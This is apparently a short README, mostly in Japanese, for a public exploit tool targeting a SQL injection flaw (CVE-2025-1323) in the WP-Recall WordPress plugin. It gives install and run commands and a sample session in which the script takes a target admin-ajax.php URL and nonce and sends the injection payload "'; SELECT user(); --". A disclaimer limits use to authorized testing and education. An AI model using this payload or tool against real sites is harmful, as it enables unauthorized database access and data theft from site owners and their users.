p33d/cve-2025-1323WP-Recall プラグイン SQLインジェクション
WP-Recall Plugin SQLインジェクション
本ツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。
明示的な許可なくシステムに対して使用しないでください。誤用は違法となる可能性があります。
requests モジュール依存関係をインストール:
pip install requests
python CVE-2025-1323.py
Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Enter ajax_nonce value: 37c11b0c06
[*] Sending payload: '; SELECT user(); --
[+] Response received:
{"result":"SQL error or leaked data here..."}